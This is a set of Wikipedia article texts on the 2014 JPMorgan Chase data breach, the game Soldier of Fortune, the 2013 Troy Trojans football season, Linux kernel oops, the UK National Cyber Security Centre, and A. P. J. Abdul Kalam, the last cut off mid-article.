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https://en.wikipedia.org/wiki/2014%20JPMorgan%20Chase%20data%20breach
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2014 JPMorgan Chase data breach
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The 2014 JPMorgan Chase data breach was a cyberattack against American bank JPMorgan Chase that is believed to have compromised data associated with over 83 million accounts—76 million households (approximately two out of three households in the country) and 7 million small businesses. The data breach is considered one of the most serious intrusions into an American corporation's information system and one of the largest data breaches in history.
The cyberattack
The attack—disclosed in September 2014—was discovered by the bank's security team in late July 2014, but not completely halted until the middle of August. The bank declared that login information associated with the accounts (such as social security numbers or passwords) was not compromised but names, email and postal addresses, and phone numbers of account holders were obtained by hackers, raising concerns of potential phishing attacks.
The attack targeted nine other major financial institutions alongside JPMorgan Chase. As of October 9, the only other company believed to have had data stolen is Fidelity Investments but investigators reported that the attack attempted to infiltrate the networks of banks and financial companies such as Citigroup, HSBC Holdings, E*Trade, Regions Financial Corporation and payroll-service firm Automatic Data Processing (ADP).
Indictments and extradition
US federal indictments were issued against four hackers in the massive fraud in November 2015. Two Israelis indicted, Gery Shalon and Ziv Orenstein, were arrested in Israel and will be extradited to the U.S. according to Israel's Justice Ministry.
American hacker Joshua Samuel Aaron had also been part of the indictments.
References
External links
https://www.justice.gov/opa/file/792651/download
https://www.justice.gov/opa/file/792656/download
https://www.justice.gov/usao-sdny/file/632156/download
https://www.justice.gov/usao-sdny/press-release/file/1092376/download
https://www.justice.gov/usao-sdny/press-release/file/1092381/download
Cyberattacks on banking industry
2014 scandals
Corporate scandals
Data breaches in the United States
2014 data breach
Bank fraud
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https://en.wikipedia.org/wiki/Soldier%20of%20Fortune%20%28video%20game%29
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Soldier of Fortune (video game)
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Soldier of Fortune is a first-person shooter video game developed by Raven Software and published by Activision in 2000 for Microsoft Windows. It was later released for the PlayStation 2 (as Soldier of Fortune: Gold Edition), as well as the Dreamcast, while Loki Software also made a port for Linux. It was digitally re-released on GOG.com on October 2, 2018, along with its two successors. The player takes on the role of a U.S. mercenary as he trots around the globe hoping to halt a terrorist nuclear weapons plot.
The game, which was built with the Quake II engine, is notable for its realistic depictions of violence, made possible by the GHOUL engine, including the dismemberment of human bodies. This was the game's stylistic attraction and it caused considerable controversy, especially in Canada and Germany, where it was classified as a restricted-rated film and listed on the Federal Department for Media Harmful to Young Persons, respectively. The technology creates 26 different zones on the bodies of enemies, allowing for vastly different reactions depending upon which one is targeted.
The game sold well initially and critical reception was positive. Two sequels were released: Soldier of Fortune II: Double Helix (2002) and Soldier of Fortune: Payback (2007). Soldier of Fortune Online, a massively multiplayer online first-person shooter game, was published in Korea in 2010, but it servers were shut down shortly after its release.
Gameplay
Soldier of Fortune is best known for its graphic depictions of firearms dismembering the human body. This graphic violence is the game's main stylistic attraction, much like the destructible environments of Red Faction or bullet time of Max Payne. The GHOUL engine enables depiction of extreme graphic violence, in which character models are based on body parts that can each independently sustain damage (gore zones). There are 26 zones in total: a shot to the head with a powerful gun will often make the target's head explode, leaving nothing but the bloody stump of the neck remaining; a close-range shot to the stomach with a shotgun will leave an enemy's bowels in a bloody mess, and a shot to the nether regions will cause the victims to clutch their groin in agony for a few seconds before kneeling over dead. It is possible to shoot off an enemy's limbs (head, arms, legs) leaving nothing left but a bloody torso. In the last mission there is also a fictional microwave weapon, causing the enemies to fry or explode, depending on the firing mode. However, nonviolence is a possibility, if the player is a good shot it is possible to shoot an enemy's weapon out of their hand, causing them to cower on the floor to surrender. The game also came with password-protected options to disable all gore and there is even a version of the game with the extreme violence permanently locked-out, titled Soldier of Fortune: Tactical Low-Violence Version.
Multiplayer
In multiplayer mode, there are seven gametypes: Arsenal, Assassination, Capture the Flag, Conquer the Bunker, Control, Deathmatch and Realistic Deathmatch.
Plot
The story involves the theft of nuclear weapons, and the main enemy turns out to be an Afrikaner neo-fascist group based in Germany, led by South African exile Sergei Dekker. At the beginning of the game, terrorists steal four nuclear weapons from a storage facility in Russia, and proceed to sell them to various nations. This is a prelude to the acquisition of advanced weapons of mass destruction by this terrorist group. John Mullins, working for a U.S.-based mercenary ("soldier of fortune") organization known only as "The Shop", and his partner, Aaron "Hawk" Parsons, are assigned to prevent the nukes from falling into the wrong hands, and stop the terrorists in their plans. His missions take him to New York City, Sudan, Siberia, Tokyo, Kosovo, Iraq, Uganda and finally Germany.
Development
Raven Software acquired a license from the mercenary magazine Soldier of Fortune to produce a video game based on the publication. The game was built around a modified version of the Quake II game engine. It was the first game to utilize the GHOUL damage model engine developed by Raven Software. This introduced the ability to dismember enemies in combat, adding to the realism of the game. Upgraded versions of the GHOUL system were later used in other Raven titles, such as Soldier of Fortune II: Double Helix and Star Wars Jedi Knight II: Jedi Outcast.
The game was originally supposed to be much more realistic, featuring mostly real weapons, and the players taking damage would impede their movement and dexterity, depending on where and how many times they were hit. In 1998 (prior to the Kosovo War) the game was also supposed to be partially based in Bosnia instead of Kosovo.
The game is AMD Eyefinity validated. The game also made use of the Aureal Semiconductor A3D and Creative Labs EAX technology.
Rerelease
GOG.com re-released Soldier of Fortune alongside its two successors digitally on October 1, 2018.
Reception
The Dreamcast version and the Gold Edition received "mixed or average reviews" according to the review aggregation website Metacritic. Robert Howarth of GameFan wrote of the PC version, "for those adults looking for extreme action, Soldier of Fortune could be just what the doctor ordered." Howarth considered its story to be "on par" with many action movies; he also commented that the GHOUL damage model rendering system was "an amazing technology".
Chris Kramer of NextGens June 2000 issue wrote of the PC original, "Sure, it's not for kids, but it's as good an FPS as you could ever ask for." 15 issues later, Jim Preston called the Dreamcast version "An OK port of an OK game."
Robert Mayer of Computer Games Strategy Plus gave the PC version four stars out of five, saying, "Raven Software set out to make a shooter, and they've made a damn fine one. Just be sure you're up to it before you dive in. It gets mighty bloody in there." Edge gave the same PC version seven out of ten, calling it "an above-average firstperson shooter. It doesn't bring much to the genre, save for its gory depiction of violence."
Robert Coffey of Computer Gaming World gave the PC version two-and-a-half stars out of five, saying, "The vast majority of this game is an unrewarding, rote shooter that even moderately experienced players will finish in 20 hours or less. Remove the savagery from the game and there’s nothing there, No story to hold you, nothing exciting or fresh in the action to rivet you, no real reason to stop playing Unreal Tournament to make time for this — unless the opportunity to shoot villains in the balls and watch them bleed out is appealing to you."
Cal Nguyen of AllGame gave the PC version four-and-a-half stars out of five, saying, "If you're bent on eliminating terrorist threats by skinheads, Saddam Hussein's army, Russian mafias or even New York mobsters, then take a lesson from the Soldier of Fortune and tear open a new one." Later, J.C. Barnes gave the Dreamcast version three-and-a-half stars out of five, calling it "a solid shooter that doesn't break new ground in graphics, sound or artificial intelligence, but it's a solid shooter worth some attention. Aside from the tricky controls and lighting issues, FPS fans shouldn't be too disappointed with this single-player adventure."
Nash Werner of GamePro said of the PC version, "With its well-written storyline and thought-provoking missions, SoFs singleplayer will keep you thrilled for hours, and you'll probably be playing the Assassin mode for months. Despite ridiculously long load times, Soldier of Fortune is recommended for everyone who appreciates a good FPS." Jake the Snake said of the Dreamcast version, "If you're longing for some over-the-top shooting with real weapons, Soldier of Fortune hits its mark with extreme prejudice, but less crazed gamers should steer clear." However, The D-Pad Destroyer said of the PlayStation 2 version, "with all its faults, Fortune is fairly fun for hardcore soldier types, but everyone else will just want to keep their membership in Red Faction." Nick Valentino of GameZone gave the same console version 6 out of 10, saying that it was "just another FPS trying to jump on the bandwagon of other successful titles and sorely misses the mark. With very little to offer in terms of design or new features, it fails to capture the right FPS feel which other games have effectively achieved. In other words, look someplace else."
According to PC Data, a firm that tracked sales in the U.S., the PC version sold 100,919 units by November 2000. NPD Techworld, which also covered the U.S., reported 298,563 units sold for said PC version by December 2002.
Violence controversy
In 2000, after receiving a complaint from a member of the public about the explicit content of the game, the British Columbia Film Classification Office investigated and decided the violence, gore and acts of torture were not suitable for persons under 18 years of age. In a controversial decision, the game was labeled an "adult motion picture" and was rated as a pornographic film. In Germany, the game was placed on the Index List of the Federal Department for Media Harmful to Young Persons.
Sequels
Based on its success, Raven Software and Activision later published Soldier of Fortune II: Double Helix in 2002, based on the Quake III: Team Arena engine. Initially released for Windows, the sequel was later ported to the Xbox.
A third game in the series, Soldier of Fortune: Payback was made by Cauldron HQ and released on November 14, 2007.
An MMOFPS based on the series, Soldier of Fortune Online, was published in Korea by Dragonfly and went in Closed Beta on August 12, 2010 and ended on August 16, 2010.
Notes
References
External links
2000 video games
Activision games
Censored video games
Crave Entertainment games
Dreamcast games
First-person shooters
Id Tech games
Linux games
Loki Entertainment games
Majesco Entertainment games
Multiplayer and single-player video games
Obscenity controversies in video games
PlayStation 2 games
Raven Software games
Science fiction video games
Video game controversies
Video games based on literature
Video games developed in the United States
Video games set in Germany
Video games set in Iraq
Video games set in Japan
Video games set in Kosovo
Video games set in New York City
Video games set in Russia
Video games set in Sudan
Video games set in Tokyo
Video games set in Uganda
Video games set in the United States
Windows games
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https://en.wikipedia.org/wiki/2013%20Troy%20Trojans%20football%20team
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2013 Troy Trojans football team
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The 2013 Troy Trojans football team represented Troy University during the 2013 NCAA Division I FBS football season. They were led by 23rd-year head coach Larry Blakeney and played their home games at Veterans Memorial Stadium as a member of the Sun Belt Conference. They finished the season 6–6, 4–3 in Sun Belt play to finish in a four-way tie for third place. Despite being bowl eligible, they were not selected to play in a bowl game.
Schedule
References
Troy
Troy Trojans football seasons
Troy Trojans football
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3740525
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https://en.wikipedia.org/wiki/Linux%20kernel%20oops
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Linux kernel oops
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In computing, an oops is a deviation from correct behavior of the Linux kernel, one that produces a certain error log. The better-known kernel panic condition results from many kinds of oops, but other instances of an oops event may allow continued operation with compromised reliability. The term does not stand for anything, other than that it is a simple mistake.
Functioning
When the kernel detects a problem, it kills any offending processes and prints an oops message, which Linux kernel engineers can use in debugging the condition that created the oops and fixing the underlying programming error. After a system has experienced an oops, some internal resources may no longer be operational. Thus, even if the system appears to work correctly, undesirable side effects may have resulted from the active task being killed. A kernel oops often leads to a kernel panic when the system attempts to use resources that have been lost.
The official Linux kernel documentation regarding oops messages resides in the file of the kernel sources. Some logger configurations may affect the ability to collect oops messages. The kerneloops software can collect and submit kernel oopses to a repository such as the www.kerneloops.org website, which provides statistics and public access to reported oopses.
For a person not familiar with technical details of computers and operating systems, an oops message might look confusing. Unlike other operating systems such as Windows or macOS, Linux chooses to present details explaining the crash of the kernel rather than display a simplified, user-friendly message, such as the BSoD on Windows. A simplified crash screen has been proposed a few times, however currently none are in development.
See also
kdump (Linux) Linux kernel's crash dump mechanism, which internally uses kexec
System.map contains mappings between symbol names and their addresses in memory, used to interpret oopses
References
Further reading
Linux Device Drivers, 3rd edition, Chapter 4.
Kernel Oops Howto (the madwifi project) Useful information on configuration files and tools to help display oops messages. Also many other links.
Computer errors
Linux kernel
Screens of death
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47180744
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https://en.wikipedia.org/wiki/National%20Cyber%20Security%20Centre%20%28United%20Kingdom%29
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National Cyber Security Centre (United Kingdom)
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The National Cyber Security Centre (NCSC) is an organisation of the United Kingdom Government that provides advice and support for the public and private sector in how to avoid computer security threats. Based in London, it became operational in October 2016, and its parent organisation is GCHQ.
History
The NCSC absorbed and replaced CESG (the information security arm of GCHQ), the Centre for Cyber Assessment (CCA), Computer Emergency Response Team UK (CERT UK) and the cyber-related responsibilities of the Centre for the Protection of National Infrastructure (CPNI). It built on earlier efforts of these organisations and the Cabinet Office to provide guidance on Information Assurance to the UK's wider private sector, such as the "10 Steps" guidance released in January 2015. In pre-launch announcements, the UK government stated that the NCSC would first work with the Bank of England to advise financial institutions on how to bolster online defences.
The centre was first announced in November 2015 by the Chancellor of the Exchequer, George Osborne. The existing Director General Cyber of GCHQ, Ciaran Martin, leads the new centre, and GCHQ's current Technical Director of Cyber Security, Dr Ian Levy, assumed the same role at the NCSC. A detailed paper on the creation of the NCSC, including a description of its structure and future challenges, written by the then Director of GCHQ, Robert Hannigan, who is widely credited with establishing the centre, was published by the Royal United Services Institute in February 2019.
The centre was dedicated by the Queen on 14 February 2017. Philip Hammond, the Chancellor of the Exchequer, announced an investment of £1.9 billion and an initiative to embed 100 people from industry into the NCSC on secondment.
In April 2016, the Ministry of Defence announced that a Cyber Security Operations Centre (CSOC) "to protect the MOD's cyberspace from malicious actors" with a budget of over £40 million will contribute to this initiative. It is located at MoD Corsham.
In October 2017, technical director Ian Levy was targeted by email prankster James Linton with a fake industry event; however, Levy correctly identified the unexpected headers and worked with him to put out a security blog about the incident.
On 1 October 2020 Lindy Cameron, formerly director-general of the Northern Ireland Office, took over from Ciaran Martin as CEO.
List of chief executives
Ciaran Martin (3 October 2016 to 31 August 2020)
Lindy Cameron (1 October 2020 to present; was Acting CEO (1 September 2020 to 30 September 2020))
See also
UK cyber security community
National Cyber Security Centre (disambiguation) in other countries
National Cyber Force
References
External links
"New National Cyber Security Centre set to bring UK expertise together" – UK Government press release, March 2016
"10 steps to cyber security" – NCSC, November 2018
2016 establishments in the United Kingdom
Cybercrime in the United Kingdom
Government agencies established in 2016
Government of the United Kingdom
Information technology organisations based in the United Kingdom
United Kingdom
National security of the United Kingdom
Organisations based in the City of Westminster
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https://en.wikipedia.org/wiki/A.%20P.%20J.%20Abdul%20Kalam
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A. P. J. Abdul Kalam
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Avul Pakir Jainulabdeen Abdul Kalam (; 15 October 193127 July 2015) was an Indian aerospace scientist who served as the 11th president of India from 2002 to 2007. He was born and raised in Rameswaram, Tamil Nadu and studied physics and aerospace engineering. He spent the next four decades as a scientist and science administrator, mainly at the Defence Research and Development Organisation (DRDO) and Indian Space Research Organisation (ISRO) and was intimately involved in India's civilian space programme and military missile development efforts. He thus came to be known as the Missile Man of India for his work on the development of ballistic missile and launch vehicle technology. He also played a pivotal organisational, technical, and political role in India's Pokhran-II nuclear tests in 1998, the first since the original nuclear test by India in 1974.
Kalam was elected as the 11th president of India in 2002 with the support of both the ruling Bharatiya Janata Party and the then-opposition Indian National Congress. Widely referred to as the "People's President", he returned to his civilian life of education, writing and public service after a single term. He was a recipient of several prestigious awards, including the Bharat Ratna, India's highest civilian honour.
While delivering a lecture at the Indian Institute of Management Shillong, Kalam collapsed and died from an apparent cardiac arrest on 27 July 2015, aged 83. Thousands, including national-level dignitaries, attended the funeral ceremony held in his hometown of Rameswaram, where he was buried with full state honours.
Early life and education
Avul Pakir Jainulabdeen Abdul Kalam was born on 15 October 1931 to a Tamil Muslim family in the pilgrimage centre of Rameswaram on Pamban Island, then in the Madras Presidency and now in the State of Tamil Nadu. His father Jainulabdeen Marakayar was a boat owner and imam of a local mosque; his mother Ashiamma was a housewife. His father owned a ferry that took Hindu pilgrims back and forth between Rameswaram and the now uninhabited Dhanushkodi. Kalam was the youngest of four brothers and one sister in his family. His ancestors had been wealthy Marakayar traders and landowners, with numerous properties and large tracts of land. Even though his ancestors had been wealthy Marakayar traders, the family had lost most of its fortunes by the 1920s and was poverty-stricken by the time Kalam was born. Marakayar are a Muslim ethnic found in coastal Tamil Nadu and Sri Lanka who claim descendance from Arab traders and local women. Their business had involved trading groceries between the mainland and the island and to and from Sri Lanka, as well as ferrying pilgrims between the mainland and Pamban. As a young boy he had to sell newspapers in order to add to the family's meager income. With the opening of the Pamban Bridge to the mainland in 1914, however, the businesses failed and the family fortune and properties were lost over time, apart from the ancestral home.
In his school years, Kalam had average grades but was described as a bright and hardworking student who had a strong desire to learn. He spent hours on his studies, especially mathematics. After completing his education at the Schwartz Higher Secondary School, Ramanathapuram, Kalam went on to attend Saint Joseph's College, Tiruchirappalli, then affiliated with the University of Madras, from where he graduated in physics in 1954.
He moved to Madras in 1955 to study aerospace engineering in Madras Institute of Technology. While Kalam was working on a senior class project, the Dean was dissatisfied with his lack of progress and threatened to revoke his scholarship unless the project was finished within the next three days. Kalam met the deadline, impressing the Dean, who later said to him, "I was putting you under stress and asking you to meet a difficult deadline". He narrowly missed achieving his dream of becoming a fighter pilot, as he placed ninth in qualifiers, and only eight positions were available in the IAF.
Career as a scientist
After graduating from the Madras Institute of Technology in 1960, Kalam joined the Aeronautical Development Establishment of the Defence Research and Development Organisation (by Press Information Bureau, Government of India) as a scientist after becoming a member of the Defence Research & Development Service (DRDS). He started his career by designing a small hovercraft, but remained unconvinced by his choice of a job at DRDO. Kalam was also part of the INCOSPAR committee working under Vikram Sarabhai, the renowned space scientist. In 1969, Kalam was transferred to the Indian Space Research Organisation (ISRO) where he was the project director of India's first Satellite Launch Vehicle (SLV-III) which successfully deployed the Rohini satellite in near-earth orbit in July 1980; Kalam had first started work on an expandable rocket project independently at DRDO in 1965. In 1969, Kalam received the government's approval and expanded the programme to include more engineers.
In 1963 to 1964, he visited NASA's Langley Research Center in Hampton, Virginia; Goddard Space Flight Center in Greenbelt, Maryland; and Wallops Flight Facility. Between the 1970s and 1990s, Kalam made an effort to develop the Polar Satellite Launch Vehicle (PSLV) and SLV-III projects, both of which proved to be successful.
Kalam was invited by Raja Ramanna to witness the country's first nuclear test Smiling Buddha as the representative of TBRL, even though he had not participated in its development. In the 1970s, Kalam also directed two projects, Project Devil and Project Valiant, which sought to develop ballistic missiles from the technology of the successful SLV programme. Despite the disapproval of the Union Cabinet, Prime Minister Indira Gandhi allotted secret funds for these aerospace projects through her discretionary powers under Kalam's directorship. Kalam played an integral role convincing the Union Cabinet to conceal the true nature of these classified aerospace projects.
His research and educational leadership brought him great laurels and prestige in the 1980s, which prompted the government to initiate an advanced missile programme under his directorship. Kalam and Dr V S Arunachalam, metallurgist and scientific adviser to the Defence Minister, worked on the suggestion by the then Defence Minister, R. Venkataraman on a proposal for simultaneous development of a quiver of missiles instead of taking planned missiles one after another. R Venkatraman was instrumental in getting the cabinet approval for allocating 3.88 billion for the mission, named Integrated Guided Missile Development Programme (IGMDP) and appointed Kalam as the chief executive. Kalam played a major part in developing many missiles under the mission including Agni, an intermediate range ballistic missile and Prithvi, the tactical surface-to-surface missile, although the projects have been criticised for mismanagement and cost and time overruns.
Kalam served as the Chief Scientific Adviser to the Prime Minister and Secretary of the Defence Research and Development Organisation from July 1992 to December 1999. The Pokhran-II nuclear tests were conducted during this period in which he played an intensive political and technological role. Kalam served as the Chief Project Coordinator, along with Rajagopala Chidambaram, during the testing phase. Media coverage of Kalam during this period made him the country's best known nuclear scientist. However, the director of the site test, K Santhanam, said that the thermonuclear bomb had been a "fizzle" and criticised Kalam for issuing an incorrect report. Both Kalam and Chidambaram dismissed the claims.
In 1998, along with cardiologist Soma Raju, Kalam developed a low cost coronary stent, named the "Kalam-Raju Stent". In 2012, the duo designed a rugged tablet computer for health care in rural areas, which was named the "Kalam-Raju Tablet".
Presidency
Kalam served as the 11th president of India, succeeding K. R. Narayanan. He won the 2002 presidential election with an electoral vote of 922,884, surpassing the 107,366 votes won by Lakshmi Sahgal. His term lasted from 25 July 2002 to 25 July 2007.
On 10 June 2002, the National Democratic Alliance (NDA) which was in power at the time, expressed that they would nominate Kalam for the post of President, and both the Samajwadi Party and the Nationalist Congress Party backed his candidacy. After the Samajwadi Party announced its support for Kalam, Narayanan chose not to seek a second term in office, leaving the field clear. Kalam said of the announcement of his candidature:
On 18 June, Kalam filed his nomination papers in the Indian Parliament, accompanied by Vajpayee and his senior Cabinet colleagues.
The polling for the presidential election began on 15 July 2002 in Parliament and the state assemblies, with the media claiming that the election was a one-sided affair and Kalam's victory was a foregone conclusion; the count was held on 18 July. Kalam became the 11th president of the Republic of India in an easy victory, and moved into the Rashtrapati Bhavan after he was sworn in on 25 July. Kalam was the third President of India to have been honoured with a Bharat Ratna, India's highest civilian honour, before becoming the President Sarvepalli Radhakrishnan (1954) and Zakir Hussain (1963) were the earlier recipients of Bharat Ratna who later became the President of India. He was also the first scientist and the first bachelor to occupy Rashtrapati Bhawan.
During his term as president, he was affectionately known as the People's President, saying that signing the Office of Profit Bill was the toughest decision he had taken during his tenure. Kalam was criticised for his inaction in deciding the fate of 20 out of the 21 mercy petitions submitted to him during his tenure. Article 72 of the Constitution of India empowers the President of India to grant pardons, and suspend or commute the death sentence of convicts on death row. Kalam acted on only one mercy plea in his five-year tenure as president, rejecting the plea of rapist Dhananjoy Chatterjee, who was later hanged. Perhaps the most notable plea was from Afzal Guru, a Kashmiri terrorist who was convicted of conspiracy in the December 2001 attack on the Indian Parliament and was sentenced to death by the Supreme Court of India in 2004. While the sentence was scheduled to be carried out on 20 October 2006, the pending action on his mercy plea resulted in him remaining on death row. He also took the controversial decision to impose President's Rule in Bihar in 2005.
In September 2003, in an interactive session in PGI Chandigarh, Kalam supported the need of Uniform Civil Code in India, keeping in view the population of the country.
At the end of his term, on 20 June 2007, Kalam expressed his willingness to consider a second term in office provided there was certainty about his victory in the 2007 presidential election. However, two days later, he decided not to contest the Presidential election again stating that he wanted to avoid involving Rashtrapati Bhavan from any political processes. He did not have the support of the left parties, Shiv Sena and UPA constituents, to receive a renewed mandate.
Nearing the expiry of the term of the 12th President Pratibha Patil on 24 July 2012, media reports in April claimed that Kalam was likely to be nominated for his second term. After the reports, social networking sites witnessed a number of people supporting his candidature. The BJP potentially backed his nomination, saying that the party would lend their support if the Trinamool Congress, Samajwadi Party and Indian National Congress proposed him for the 2012 presidential election. A month ahead of the election, Mulayam Singh Yadav and Mamata Banerjee also expressed their support for Kalam. Days afterwards, Mulayam Singh Yadav backed out, leaving Mamata Banerjee as the solitary supporter. On 18 June 2012, Kalam declined to contest the 2012 presidential poll. He said of his decision not to do so:
Post-presidency
After leaving office, Kalam became a visiting professor at the Indian Institute of Management Shillong, the Indian Institute of Management Ahmedabad, and the Indian Institute of Management Indore; an honorary fellow of Indian Institute of Science, Bangalore; chancellor of the Indian Institute of Space Science and Technology Thiruvananthapuram; professor of Aerospace Engineering at Anna University; and an adjunct at many other academic and research institutions across India. He taught information technology at the International Institute of Information Technology, Hyderabad, and technology at Banaras Hindu University and Anna University.
In 2011, Kalam was criticised by civil groups over his stand on the Koodankulam Nuclear Power Plant; he supported the establishment of the nuclear power plant and was accused of not speaking with the local people. The protesters were hostile to his visit as they saw him as a pro-nuclear scientist and were unimpressed by the assurances he provided regarding the safety features of the plant.
In May 2012, Kalam launched a programme for the youth of India called the What Can I Give Movement, with a central theme of defeating corruption.
Death
On 27 July 2015, Kalam travelled to Shillong to deliver a lecture on "Creating a Livable Planet Earth" at the Indian Institute of Management Shillong. While climbing a flight of stairs, he experienced some discomfort, but was able to enter the auditorium after a brief rest. At around 6:35 p.m. IST, only five minutes into his lecture, he collapsed. He was rushed to the nearby Bethany Hospital in a critical condition; upon arrival, he lacked a pulse or any other signs of life. Despite being placed in the intensive care unit, Kalam was confirmed dead of a sudden cardiac arrest at 7:45p.m. IST. His last words, to his aide Srijan Pal Singh, were reportedly: "Funny guy! Are you doing well?"
Following his death, Kalam's body was airlifted in an Indian Air Force helicopter from Shillong to Guwahati, from where it was flown to New Delhi on the morning of 28 July in an air force C-130J Hercules. The flight landed at Palam Air Base that afternoon and was received by the President, the vice-president, the Prime Minister, Chief Minister of Delhi Arvind Kejriwal, and the three service chiefs of the Indian Armed Forces, who laid wreaths on Kalam's body. His body was then placed on a gun carriage draped with the Indian flag and taken to his Delhi residence at 10 Rajaji Marg; there, the public and numerous dignitaries paid homage, including former prime minister Manmohan Singh, Congress President Sonia Gandhi and Vice-president Rahul Gandhi, and Uttar Pradesh Chief Minister Akhilesh Yadav.
On the morning of 29 July, Kalam's body, wrapped in the Indian flag, was taken to Palam Air Base and flown to Madurai in an air force C-130J aircraft, arriving at Madurai Airport that afternoon. His body was received at the airport by the three service chiefs and national and state dignitaries, including cabinet ministers Manohar Parrikar, Venkaiah Naidu, Pon Radhakrishnan and the governors of Tamil Nadu and Meghalaya, K Rosaiah and V. Shanmuganathan. After a brief ceremony, Kalam's body was flown by air force helicopter to the town of Mandapam, from where it was taken in an army truck to his hometown of Rameswaram. Upon arriving at Rameswaram, his body was displayed in an open area in front of the local bus station to allow the public to pay their final respects until 8p.m. that evening.
On 30 July 2015, the former president was laid to rest at Rameswaram's Pei Karumbu Ground with full state honours. Over 350,000 people attended the last rites, including the Prime Minister, the governor of Tamil Nadu and the chief ministers of Karnataka, Kerala and Andhra Pradesh.
Reactions
India reacted to Kalam's death with an outpouring of grief; numerous tributes were paid to the former president across the nation and on social media. The Government of India declared a seven-day state mourning period as a mark of respect. President Pranab Mukherjee, Vice-president Hamid Ansari, Home Minister Rajnath Singh, and other leaders condoled the former President's demise. Prime Minister Narendra Modi said "Kalam's death is a great loss to the scientific community. He took India to great heights. He showed the way." Former Prime Minister Dr Manmohan Singh, who had served as prime minister under Kalam, said, "our country has lost a great human being who made phenomenal contributions to the promotion of self-reliance in defence technologies. I worked very closely with Dr. Kalam as prime minister and I greatly benefited from his advice as president of our country. His life and work will be remembered for generations to come." ISRO chairman A. S. Kiran Kumar called his former colleague "a great personality and a gentleman", while former chairman G. Madhavan Nair described Kalam as "a global leader" for whom "the downtrodden and poor people were his priority. He always had a passion to convey what is in his mind to the young generation", adding that his death left a vacuum which none could fill.
South Asian leaders expressed condolences and lauded the late statesman. The Bhutanese government ordered the country's flags to fly at half-staff to mourn Kalam's death and lit 1000 butter lamps in homage. Bhutanese Prime Minister Tshering Tobgay expressed deep sadness, saying Kalam "was a leader greatly admired by all people, especially the youth of India who have referred to him as the people's President". Bangladesh Prime Minister Sheikh Hasina described Kalam as "a rare combination of a great statesman, acclaimed scientist, and a source of inspiration to the young generation of South Asia" and termed his death an "irreparable loss to India and beyond". Bangladesh Nationalist Party chief Khaleda Zia said "as a nuclear scientist, he engaged himself in the welfare of the people". Ashraf Ghani, the President of Afghanistan, called Kalam "an inspirational figure to millions of people," noting that "we have a lot to learn from his life". Nepalese Prime Minister Sushil Koirala recalled Kalam's scientific contributions to India: "Nepal has lost a good friend and I have lost an honoured and ideal personality." The President of Pakistan, Mamnoon Hussain, and Prime Minister of Pakistan Nawaz Sharif also expressed their grief and condolences on his death. The President of Sri Lanka, Maithripala Sirisena, also expressed his condolences. "Dr. Kalam was a man of firm conviction and indomitable spirit, and I saw him as an outstanding statesman of the world. His death is an irreparable loss not only to India but to the entire world." Maldivian President Abdulla Yameen and Vice-president Ahmed Adeeb condoled Kalam's death, with Yameen naming him as a close friend of the Maldives who would continue to be an inspiration to Indians and generations of South Asians. Former President Maumoon Abdul Gayoom, who had made an official visit to India during Kalam's presidency, termed his demise as a great loss to all of humankind. The Commander-in-Chief of the Myanmar Armed Forces, Senior General Min Aung Hlaing, expressed condolences on behalf of the Myanmar government. The Dalai Lama expressed his sadness and offered condolences and prayers, calling Kalam's death "an irreparable loss".
Kathleen Wynne, the Premier of Ontario, which Kalam had visited on numerous occasions, expressed "deepest condolences ... as a respected scientist, he played a critical role in the development of the Indian space programme. As a committed educator, he inspired millions of young people to achieve their very best. And as a devoted leader, he gained support both at home and abroad, becoming known as 'the people's President'. I join our IndoCanadian families, friends, and neighbours in mourning the passing of this respected leader." United States President Barack Obama extended "deepest condolences to the people of India on the passing of former Indian President Dr. APJ Abdul Kalam", and highlighted his achievements as a scientist and as a statesman, notably his role in strengthening US–India relations and increasing space co-operation between the two nations. "Suitably named 'the People's President', Dr. Kalam's humility and dedication to public service served as an inspiration to millions of Indians and admirers around the world."
Russian President Vladimir Putin expressed sincere condolences and conveyed his sympathy and support "to the near and dear ones of the deceased leader, to the government, and entire people of India". He remarked on Kalam's outstanding "personal contribution to the social, economic, scientific, and technical progress of India and in ensuring its national security," adding that Kalam would be remembered as a "consistent exponent of closer friendly relations between our nations, who has done a lot for cementing mutually beneficial RussianIndian cooperation." Other international leaders—including former Indonesian president Susilo Bambang Yudhoyono, Malaysian Prime Minister Najib Razak, Singaporean Prime Minister Lee Hsien Loong, President of the United Arab Emirates Sheikh Khalifa bin Zayed Al Nahyan, and vice-president and Prime Minister of the United Arab Emirates and emir of Dubai Sheikh Mohammed bin Rashid Al Maktoum—also paid tribute to Kalam. In a special gesture, Secretary-General of the United Nations Ban Ki-moon visited the Permanent Mission of India to the UN and signed a condolence book. "The outpouring of grief around the world is a testament of the respect and inspiration he has garnered during and after his presidency. The UN joins the people of India in sending our deepest condolences for this great statesman. May he rest in peace and eternity", Ban wrote in his message.
Memorial
The Dr. A. P. J. Abdul Kalam National Memorial was built in memory of Kalam by the DRDO in Pei Karumbu, in the island town of Rameswaram, Tamil Nadu. It was inaugurated by Prime Minister Narendra Modi in July 2017. On display are the replicas of rockets and missiles which Kalam had worked with. Acrylic paintings about his life are also displayed along with hundreds of portraits depicting the life of the mass leader. There is a statue of Kalam in the entrance showing him playing the Veena. There are two other smaller statues of the leader in sitting and standing posture.
Personal life
Kalam was the youngest of five siblings, the eldest of whom was a sister, Asim Zohra (d. 1997), followed by three elder brothers: Mohammed Muthu Meera Lebbai Maraikayar (5 November 1916 – 7 March 2021), Mustafa Kalam (d. 1999) and Kasim Mohammed (d. 1995). He was extremely close to his elder siblings and their extended families throughout his life, and would regularly send small sums of money to his older relations, himself remaining a lifelong bachelor.
Kalam was noted for his integrity and his simple lifestyle. He never owned a television, and was in the habit of rising at 6:30 or 7a.m. and sleeping by 2a.m. His few personal possessions included his books, his veena, some articles of clothing, a CD player and a laptop; at his death, he left no will, and his possessions went to his eldest brother, who survived him.
Religious and spiritual views
Religion and spirituality were very important to Kalam throughout his life. He made his own spiritual journey the subject of his final book, Transcendence: My Spiritual Experiences with Pramukh Swamiji.
Islam
